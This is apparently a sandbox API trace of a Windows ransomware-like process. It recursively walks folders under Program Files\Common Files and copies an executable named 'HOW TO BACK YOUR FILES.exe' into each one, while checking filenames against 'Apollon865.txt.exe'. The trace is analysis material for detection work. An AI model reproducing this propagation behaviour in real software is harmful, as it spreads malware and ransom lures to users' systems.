	[0055.885] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk" | out: lpString1="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk") returned="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk"
	[0055.885] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0055.885] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\common files\\speechengines\\microsoft\\tts20\\en-us\\enu-dsk\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0055.895] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x154
	[0055.895] GetLastError () returned 0x0
	[0055.895] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ccfb8
	[0055.895] ReadFile (in: hFile=0x154, lpBuffer=0x5ccfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x2d3e22c, lpOverlapped=0x0 | out: lpBuffer=0x5ccfb8*, lpNumberOfBytesRead=0x2d3e22c*=0x1dc00, lpOverlapped=0x0) returned 1
	[0055.896] CloseHandle (hObject=0x154) returned 1
	[0055.896] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ccfb8 | out: hHeap=0x580000) returned 1
	[0055.896] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0055.896] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8f7490, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd8f7490, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd8f7490, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca2d0
	[0055.896] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0055.896] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0055.897] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Common Files\\Services", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Common Files\\Services") returned="C:\\Program Files (x86)\\Common Files\\Services"
	[0055.898] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c55f8 | out: hHeap=0x580000) returned 1
	[0055.898] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7968 | out: hHeap=0x580000) returned 1
	[0055.898] lstrlenW (lpString="C:\\Program Files (x86)\\Common Files\\Services") returned 44
	[0055.898] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Common Files\\Services" | out: lpString1="C:\\Program Files (x86)\\Common Files\\Services") returned="C:\\Program Files (x86)\\Common Files\\Services"
	[0055.898] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0055.898] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Common Files\\Services\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\common files\\services\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0055.902] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0055.902] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Services\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8d1336, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x3964d290, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3964d290, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca2d0
	[0055.902] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0055.902] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0055.902] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared"
	[0055.902] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59aa88 | out: hHeap=0x580000) returned 1
	[0055.902] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7948 | out: hHeap=0x580000) returned 1
	[0055.902] lstrlenW (lpString="C:\\Program Files (x86)\\Common Files\\microsoft shared") returned 52
	[0055.902] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared"
	[0055.902] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0055.902] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0055.906] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0055.906] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8d1336, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x3964d290, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3964d290, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca2d0
	[0055.906] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0055.906] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0055.907] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Web Server Extensions", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Web Server Extensions") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Web Server Extensions"
	[0055.907] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c8f30 | out: hHeap=0x580000) returned 1
	[0055.907] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7ae8 | out: hHeap=0x580000) returned 1
	[0055.907] lstrlenW (lpString="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Web Server Extensions") returned 74
	[0055.907] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Web Server Extensions" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Web Server Extensions") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Web Server Extensions"
	[0055.907] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0055.907] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Web Server Extensions\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\web server extensions\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0055.911] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0055.911] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Web Server Extensions\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x21a6a110, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x3964d290, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3964d290, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca2d0
	[0055.911] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0055.911] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0055.911] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Web Server Extensions\\14", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Web Server Extensions\\14") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Web Server Extensions\\14"
	[0055.911] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c8f30 | out: hHeap=0x580000) returned 1
	[0055.912] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7ae8 | out: hHeap=0x580000) returned 1
	[0055.912] lstrlenW (lpString="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Web Server Extensions\\14") returned 77
	[0055.912] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Web Server Extensions\\14" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Web Server Extensions\\14") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Web Server Extensions\\14"
	[0055.912] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0055.912] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Web Server Extensions\\14\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\web server extensions\\14\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0055.919] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0055.919] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Web Server Extensions\\14\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x21a6a110, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x396733f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x396733f0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca2d0
	[0055.920] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0055.920] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0055.920] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Web Server Extensions\\14\\BIN", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Web Server Extensions\\14\\BIN") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Web Server Extensions\\14\\BIN"
	[0055.920] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c8f30 | out: hHeap=0x580000) returned 1
	[0055.920] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7ae8 | out: hHeap=0x580000) returned 1
	[0055.920] lstrlenW (lpString="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Web Server Extensions\\14\\BIN") returned 81
	[0055.920] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Web Server Extensions\\14\\BIN" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Web Server Extensions\\14\\BIN") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Web Server Extensions\\14\\BIN"
	[0055.920] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0055.920] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Web Server Extensions\\14\\BIN\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\web server extensions\\14\\bin\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0055.926] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0055.926] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Web Server Extensions\\14\\BIN\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x21a6a110, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x396733f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x396733f0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca2d0
	[0055.926] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0055.926] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0055.926] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTO", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTO") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTO"
	[0055.926] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x591b40 | out: hHeap=0x580000) returned 1
	[0055.926] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7ca8 | out: hHeap=0x580000) returned 1
	[0055.926] lstrlenW (lpString="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTO") returned 57
	[0055.926] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTO" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTO") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTO"
	[0055.926] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0055.926] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTO\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\vsto\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0055.939] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0055.939] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTO\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x274de510, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x39699550, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x39699550, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca2d0
	[0055.939] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0055.939] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0055.939] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTO\\10.0", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTO\\10.0") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTO\\10.0"
	[0055.939] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf678 | out: hHeap=0x580000) returned 1
	[0055.939] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7ca8 | out: hHeap=0x580000) returned 1
	[0055.939] lstrlenW (lpString="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTO\\10.0") returned 62
	[0055.939] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTO\\10.0" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTO\\10.0") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTO\\10.0"
	[0055.939] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0055.940] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTO\\10.0\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\vsto\\10.0\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0055.946] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0055.946] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTO\\10.0\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x274de510, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x396bf6b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x396bf6b0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca2d0
	[0055.946] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0055.946] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0055.946] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTO\\10.0\\1033", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTO\\10.0\\1033") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTO\\10.0\\1033"
	[0055.946] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b90d8 | out: hHeap=0x580000) returned 1
	[0055.946] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7ca8 | out: hHeap=0x580000) returned 1
	[0055.946] lstrlenW (lpString="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTO\\10.0\\1033") returned 67
	[0055.946] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTO\\10.0\\1033" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTO\\10.0\\1033") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTO\\10.0\\1033"
	[0055.946] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0055.946] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\vsto\\10.0\\1033\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0055.953] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0055.953] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5279f530, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x396bf6b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x396bf6b0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca2d0
	[0055.953] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0055.953] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0055.953] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA"
	[0055.953] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x591ac0 | out: hHeap=0x580000) returned 1
	[0055.953] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7c48 | out: hHeap=0x580000) returned 1
	[0055.954] lstrlenW (lpString="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA") returned 57
	[0055.954] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA"
	[0055.954] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0055.954] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\vsta\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0055.960] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0055.960] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1f4696f0, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0x396bf6b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x396bf6b0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca2d0
	[0055.960] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0055.960] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0055.961] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\Pipeline.v10.0", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\Pipeline.v10.0") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\Pipeline.v10.0"
	[0055.961] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599450 | out: hHeap=0x580000) returned 1
	[0055.961] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7ae8 | out: hHeap=0x580000) returned 1
	[0055.961] lstrlenW (lpString="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\Pipeline.v10.0") returned 72
	[0055.961] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\Pipeline.v10.0" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\Pipeline.v10.0") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\Pipeline.v10.0"
	[0055.961] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0055.961] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\Pipeline.v10.0\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\vsta\\pipeline.v10.0\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0055.966] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0055.966] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\Pipeline.v10.0\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x20323f10, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0x396e5810, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x396e5810, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca2d0
	[0055.967] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0055.967] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0055.967] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\Pipeline.v10.0\\HostSideAdapters", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\Pipeline.v10.0\\HostSideAdapters") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\Pipeline.v10.0\\HostSideAdapters"
	[0055.967] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c1518 | out: hHeap=0x580000) returned 1
	[0055.967] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fc28 | out: hHeap=0x580000) returned 1
